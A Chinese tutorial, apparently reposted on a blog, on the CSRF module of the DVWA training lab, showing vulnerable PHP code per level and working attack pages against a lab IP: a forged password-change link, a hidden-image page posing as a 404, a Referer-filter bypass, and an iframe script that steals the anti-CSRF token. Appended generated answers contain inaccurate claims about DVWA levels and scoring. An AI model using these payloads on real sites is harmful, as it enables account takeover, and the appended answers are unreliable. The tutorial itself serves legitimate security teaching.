新手指南:DVWA全级别教程之CSRF

本文详细解析了DVWA平台中的CSRF(跨站请求伪造)漏洞,从四个不同安全级别出发,介绍了每种级别的核心代码及其防御机制,并针对每个级别提出了具体的攻击方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

转自:http://www.freebuf.com/articles/web/118352.html
DVWA简介

DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。

DVWA共有十个模块,分别是Brute Force(暴力(破解))、Command Injection(命令行注入)、CSRF(跨站请求伪造)、File Inclusion(文件包含)、File Upload(文件上传)、Insecure CAPTCHA (不安全的验证码)、SQL Injection(SQL注入)、SQL Injection(Blind)(SQL盲注)、XSS(Reflected)(反射型跨站脚本)、XSS(Stored)(存储型跨站脚本)。

需要注意的是,DVWA 1.9的代码分为四种安全级别:Low,Medium,High,Impossible。初学者可以通过比较四种级别的代码,接触到一些PHP代码审计的内容。

这里写图片描述

DVWA的搭建

Freebuf上的这篇文章《新手指南:手把手教你如何搭建自己的渗透测试环境》(http://www.freebuf.com/sectool/102661.html)已经写得非常好了,在这里就不赘述了。

之前介绍了Brute Force模块(http://www.freebuf.com/articles/web/116437.html)、Command Injection模块(http://www.freebuf.com/articles/web/116714.html)的内容,本文介绍的是CSRF模块,后续教程会在之后的文章中给出。

CSRF(Cross-site request forgery)

CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。在2013年发布的新版OWASP Top 10中,CSRF排名第8。
这里写图片描述

下面对四种级别的代码进行分析。

Low

服务器端核心代码

<?php 

if( isset( $_GET[ 'Change' ] ) ) { 
    // Get input 
    $pass_new  = $_GET[ 'password_new' ]; 
    $pass_conf = $_GET[ 'password_conf' ]; 

    // Do the passwords match? 
    if( $pass_new == $pass_conf ) { 
        // They do! 
        $pass_new = mysql_real_escape_string( $pass_new ); 
        $pass_new = md5( $pass_new ); 

        // Update the database 
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); 

        // Feedback for the user 
        echo "<pre>Password Changed.</pre>"; 
    } 
    else { 
        // Issue with passwords matching 
        echo "<pre>Passwords did not match.</pre>"; 
    } 

    mysql_close(); 
} 

?>

可以看到,服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制(当然服务器对请求的发送者是做了身份验证的,是检查的cookie,只是这里的代码没有体现= =)。

漏洞利用

1、构造链接

A) 最基础的:

http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

当受害者点击了这个链接,他的密码就会被改成password(这种攻击显得有些拙劣,链接一眼就能看出来是改密码的,而且受害者点了链接之后看到这个页面就会知道自己的密码被篡改了)

1.png

需要注意的是,CSRF最关键的是利用受害者的cookie向服务器发送伪造请求,所以如果受害者之前用Chrome浏览器登录的这个系统,而用搜狗浏览器点击这个链接,攻击是不会触发的,因为搜狗浏览器并不能利用Chrome浏览器的cookie,所以会自动跳转到登录界面。

这里写图片描述
有人会说,这个链接也太明显了吧,不会有人点的,没错,所以真正攻击场景下,我们需要对链接做一些处理。

B) 我们可以使用短链接来隐藏URL(点击短链接,会自动跳转到真实网站):

http://dwz.cn/**

这里写图片描述

因为本地搭的环境,服务器域名是ip所以无法生成相应的短链接= =,实际攻击场景下只要目标服务器的域名不是ip,是可以生成相应短链接的。
这里写图片描述

需要提醒的是,虽然利用了短链接隐藏url,但受害者最终还是会看到密码修改成功的页面,所以这种攻击方法也并不高明。

C) 构造攻击页面

现实攻击场景下,这种方法需要事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击。这里为了方便演示(才不是我租不起服务器= =),就在本地写一个test.html,下面是具体代码。

<img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

当受害者访问test.html时,会误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为了hack。

这里写图片描述

Medium

服务器端核心代码

<?php 

if( isset( $_GET[ 'Change' ] ) ) { 
    // Checks to see where the request came from 
    if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) { 
        // Get input 
        $pass_new  = $_GET[ 'password_new' ]; 
        $pass_conf = $_GET[ 'password_conf' ]; 

        // Do the passwords match? 
        if( $pass_new == $pass_conf ) { 
            // They do! 
            $pass_new = mysql_real_escape_string( $pass_new ); 
            $pass_new = md5( $pass_new ); 

            // Update the database 
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
            $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); 

            // Feedback for the user 
            echo "<pre>Password Changed.</pre>"; 
        } 
        else { 
            // Issue with passwords matching 
            echo "<pre>Passwords did not match.</pre>"; 
        } 
    } 
    else { 
        // Didn't come from a trusted source 
        echo "<pre>That request didn't look correct.</pre>"; 
    } 

    mysql_close(); 
} 

?> 

相关函数说明

int eregi(string pattern, string string)

检查string中是否含有pattern(不区分大小写),如果有返回True,反之False。

可以看到,Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是192.168.153.130),希望通过这种机制抵御CSRF攻击。

这里写图片描述
漏洞利用

过滤规则是http包头的Referer参数的值中必须包含主机名(这里是192.168.153.130)

我们可以将攻击页面命名为192.168.153.130.html(页面被放置在攻击者的服务器里,这里是10.4.253.2)就可以绕过了

这里写图片描述
下面是Burpsuite的截图

1.png

Referer参数完美绕过过滤规则

1.png

密码修改成功

1.png

High

服务器端核心

<script type="text/javascript">

    function attack()

  {

   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;

  document.getElementById("transfer").submit(); 

  }

</script>



<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">

</iframe>



<body onload="attack()">

  <form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">

   <input type="hidden" name="password_new" value="password">

    <input type="hidden" name="password_conf" value="password">

   <input type="hidden" name="user_token" value="">

  <input type="hidden" name="Change" value="Change">

   </form>

</body>

攻击思路是当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。

然而理想与现实的差距是巨大的,这里牵扯到了跨域问题,而现在的浏览器是不允许跨域请求的。这里简单解释下跨域,我们的框架iframe访问的地址是http://192.168.153.130/dvwa/vulnerabilities/csrf,位于服务器192.168.153.130上,而我们的攻击页面位于黑客服务器10.4.253.2上,两者的域名不同,域名B下的所有页面都不允许主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token。

由于跨域是不能实现的,所以我们要将攻击代码注入到目标服务器192.168.153.130中,才有可能完成攻击。下面利用High级别的XSS漏洞协助获取Anti-CSRF token(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)。

这里写图片描述
这里的Name存在XSS漏洞,于是抓包,改参数,成功弹出token

这里写图片描述

注入代码如下

1.png

Impossible

服务器端核心代码

<?php 

if( isset( $_GET[ 'Change' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Get input 
    $pass_curr = $_GET[ 'password_current' ]; 
    $pass_new  = $_GET[ 'password_new' ]; 
    $pass_conf = $_GET[ 'password_conf' ]; 

    // Sanitise current password input 
    $pass_curr = stripslashes( $pass_curr ); 
    $pass_curr = mysql_real_escape_string( $pass_curr ); 
    $pass_curr = md5( $pass_curr ); 

    // Check that the current password is correct 
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); 
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); 
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); 
    $data->execute(); 

    // Do both new passwords match and does the current password match the user? 
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) { 
        // It does! 
        $pass_new = stripslashes( $pass_new ); 
        $pass_new = mysql_real_escape_string( $pass_new ); 
        $pass_new = md5( $pass_new ); 

        // Update database with new password 
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); 
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); 
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); 
        $data->execute(); 

        // Feedback for the user 
        echo "<pre>Password Changed.</pre>"; 
    } 
    else { 
        // Issue with passwords matching 
        echo "<pre>Passwords did not match or current password incorrect.</pre>"; 
    } 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?> 

可以看到,Impossible级别的代码利用PDO技术防御SQL注入,至于防护CSRF,则要求用户输入原始密码(简单粗暴),攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击。

### 回答1: DVWA(Damn Vulnerable Web Application)是一个用于学习Web应用安全的漏洞测试平台。DVWA包含许多不同的安全漏洞,包括XSS、文件管理、SQL注入等等。本教程将介绍如何通过级别通关DVWA。 第一步是将DVWA设置为“high”级别。这可以通过登录到DVWA控制台并选择“设置”进行设置。这将增加漏洞的难度,其中包括需要更深入的SQL注入和更高级的漏洞。 第二步是先从最基本的漏洞开始,例如XSS攻击。攻击可以通过在-input参数中插入JavaScript代码来实现。可以使用常用的XSS攻击向量,如“<script>alert('XSS')</script>”,并查看结果。 第三步是学习如何实现SQL注入漏洞。这可以通过在输入框中插入'MS SQL'或其他熟悉的SQL注入语句来实现。可以使用基本的SELECT和FROM语句,并在WHERE子句中实现注入。 第四步是学习更高级的漏洞,例如文件上传漏洞和代码注入漏洞。 第五步是学习如何防止这些漏洞。这包括了解如何编写安全的代码以及如何向Web应用程序添加安全性检查。 当您完成了DVWA级别挑战时,您将拥有一个很好的基础,以了解Web应用程序漏洞及其如何被利用。此外,您也将学习到如何防止这些漏洞,并使您准备好进入更高级别的Web安全防护领域。 ### 回答2: DVWA(Damn Vulnerable Web Application)级别通关教程是一项非常有用的学习资源,特别适用于网站安全测试的爱好者和初学者。DVWA提供了一些易受攻击的Web应用程序,使用户能够在不受法律侵犯的情况下对其进行攻击,从而学习Web应用程序的安全措施和漏洞修复。 在进行DVWA级别通关之前,建议用户了解Web安全和各种攻击技术的基本知识。整个通关过程分为四个级别:Easy、Medium、Hard和Insane。每个级别都有几个漏洞,用户需要尝试找出这些漏洞并开发相应的攻击。 在Easy级别中,用户将学习SQL注入、XSS、CSRF等Web攻击技术。在Medium级别中,用户将学习其他漏洞,例如文件上传和文件包含。在Hard级别中,用户将学习如何绕过WAF、滥用会话和控制流等高级攻击技术。Insane级别则旨在挑战以前的所有水平,其漏洞更加隐蔽和不易被发现。 不论在哪个级别,用户都需要运用他们掌握的技能和知识来攻击漏洞,从而获得相应的分数,解锁关卡和证明自己的技能。在做每个漏洞时,最好将注入代码记录在笔记本上方便后续使用,在成功攻击后务必修复漏洞。 总的来说,DVWA是一款强大的Web应用程序学习资源,能够让用户深入了解Web安全和攻击技术。通过通关所有的级别,用户将掌握各种不同的攻击技术及其防御方式,从而成为一个优秀的黑客或Web安全专家。 ### 回答3: DVWA(Damn Vulnerable Web Application)是一款专门用于漏洞测试和演示的虚拟Web应用程序。它包含多种不同类型的漏洞,供安全测试人员进行使用。本篇文章将为大家介绍DVWA级别通关教程。 首先,我们需要下载并安装DVWA。随后,在浏览器中输入http://localhost/dvwa启动DVWA。进入界面后,我们需要进行注册,注册成功后即可进入主界面。 接着,我们需要进行DVWA的配置。在主界面中,点击DVWA Security选项,可以选择安全等级,并进行配置。 在配置完成后,我们需要依次完成不同级别的漏洞。 1、Low Security Level:我们需要先使用弱口令登录,接着通过SQL注入漏洞获取管理员账户,最后通过命令注入漏洞获取Web Shell。 2、Medium Security Level:此级别中,我们需要利用文件上传漏洞,通过上传恶意文件获得对目标主机的控制权限。同时我们还需要通过跨站点脚本(XSS)攻击漏洞获取一些隐私信息。 3、High Security Level: 在本级别中,我们需要利用伪造请求(CSRF)攻击漏洞来跨站点冒充用户请求,再通过HTTP响应拆分攻击漏洞来进行会话劫持,最后再利用SQL盲注漏洞提权。 通过以上步骤,我们即可完成DVWA所有级别的漏洞攻击,成为一名合格的安全测试人员。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值